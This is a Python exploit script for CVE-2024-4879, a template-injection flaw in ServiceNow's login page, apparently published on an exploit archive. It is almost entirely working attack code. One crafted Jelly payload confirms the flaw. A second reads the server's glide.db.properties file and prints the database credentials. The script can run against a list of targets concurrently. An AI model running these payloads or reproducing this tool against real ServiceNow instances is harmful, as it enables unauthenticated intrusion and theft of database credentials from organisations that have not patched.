ServiceNow Multiple Versions – Input Validation & Template Injection
#!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affected from 0 before Vancouver Patch 9 # affected from 0 before Vancouver Patch 10 # affected from 0 before Washington DC Patch 1 Hot Fix 2b # affected from 0 before Washington DC Patch 2 Hot Fix 2 # affected from 0 before Washington DC Patch 3 Hot Fix 1 # affected from 0 before Washington DC Patch 4 # Tested on: ServiceNow Platform # CVE: CVE-2024-4879 # Category: Input Validation # CVSS Score: 9.8 (Critical) # CWE: CWE-20 (Improper Input Validation) # Description: # ServiceNow Platform contains an input validation vulnerability that allows # unauthenticated remote code execution. The vulnerability affects Vancouver, # Washington DC, and Utah releases of the Now Platform. # Impact: # - Unauthenticated remote code execution # - Complete system compromise # - Data exfiltration # - Service disruption # Requirements: # - requests>=2.25.1 # - colorama>=0.4.4 # - urllib3 # Usage: # python3 CVE-2024-4879.py -t https://target.service-now.com # python3 CVE-2024-4879.py -f targets.txt """ from colorama import Fore, Style, init import requests import argparse import urllib3 import concurrent.futures import sys import re from urllib.parse import urlparse # Initialize colorama init(autoreset=True) # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Colors: RED = Fore.RED GREEN = Fore.GREEN YELLOW = Fore.YELLOW BLUE = Fore.BLUE WHITE = Fore.WHITE CYAN = Fore.CYAN MAGENTA = Fore.MAGENTA RESET = Style.RESET_ALL banner = f""" {Colors.CYAN} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ █████╗ ███████╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██║ ██║██╔══██╗╚════██║██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗███████║╚█████╔╝ ██╔╝╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║██╔══██╗ ██╔╝ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██║╚█████╔╝ ██║ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚════╝ {Colors.RESET} {Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET} {Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET} """ class ServiceNowExploit: def __init__(self, timeout=10, verbose=False): self.timeout = timeout self.verbose = verbose self.session = requests.Session() self.session.verify = False def _log(self, level, message, url=""): """Enhanced logging with colors and levels""" timestamp = "[*]" if level == "success": print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "error": print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "warning": print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "info": print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "verbose" and self.verbose: print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") def validate_url(self, url): """Validate and normalize URL format""" if not url.startswith(('http://', 'https://')): url = f"https://{url}" try: parsed = urlparse(url) if not parsed.netloc: return None return url except Exception: return None def check_target_reachability(self, url): """Check if target is reachable""" try: response = self.session.get(url, timeout=self.timeout) if response.status_code == 200: self._log("info", "Target is reachable", url) return True else: self._log("warning", f"Target returned status {response.status_code}", url) return False except requests.exceptions.RequestException as e: self._log("error", f"Target unreachable: {str(e)}", url) return False def exploit_vulnerability(self, url): """Main exploit function for CVE-2024-4879""" try: # Normalize URL url = self.validate_url(url) if not url: self._log("error", "Invalid URL format") return False # Check reachability first if not self.check_target_reachability(url): return False # Construct the exploit payload exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" exploit_url = f"{url}{exploit_path}" self._log("info", "Testing for CVE-2024-4879 vulnerability", url) # Send exploit request response = self.session.get(exploit_url, timeout=self.timeout) if self.verbose: self._log("verbose", f"Response status: {response.status_code}") self._log("verbose", f"Response length: {len(response.text)}") # Check for vulnerability indicator if response.status_code == 200 and "1337" in response.text: self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url) # Attempt to extract sensitive information info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" info_url = f"{url}{info_path}" try: info_response = self.session.get(info_url, timeout=self.timeout) if info_response.status_code == 200: self._log("success", "Database configuration extracted!") if self.verbose: print(f"\n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}") # Extract and display configuration data config_data = self._extract_config_data(info_response.text) if config_data: print(config_data) print(f"{Colors.YELLOW}================================{Colors.RESET}\n") except Exception as e: self._log("warning", f"Failed to extract configuration: {str(e)}") return True else: self._log("error", "Not vulnerable or payload failed", url) return False except requests.exceptions.Timeout: self._log("warning", "Connection timeout", url) return False except requests.exceptions.ConnectionError: self._log("error", "Connection failed", url) return False except Exception as e: self._log("error", f"Unexpected error: {str(e)}", url) return False def _extract_config_data(self, response_text): """Extract configuration data from response""" try: # Look for database configuration patterns patterns = [ r'glide\.db\..*?=.*', r'jdbc\..*?=.*', r'database\..*?=.*' ] extracted_data = [] for pattern in patterns: matches = re.findall(pattern, response_text, re.IGNORECASE) extracted_data.extend(matches) return '\n'.join(extracted_data) if extracted_data else None except Exception: return None def main(): parser = argparse.ArgumentParser( description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner", epilog="Examples:\n python3 CVE-2024-4879.py -t https://target.service-now.com\n python3 CVE-2024-4879.py -f targets.txt -v", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('-t', '--target', help="Single target to scan") parser.add_argument('-f', '--file', help="File containing list of targets") parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output") parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)") args = parser.parse_args() if not args.target and not args.file: parser.print_help() sys.exit(1) print(banner) try: exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose) if args.target: exploit.exploit_vulnerability(args.target) if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f.readlines() if line.strip()] print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...\n") with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: executor.map(exploit.exploit_vulnerability, targets) except FileNotFoundError: print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user") sys.exit(0) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}") sys.exit(1) if __name__ == "__main__": main() |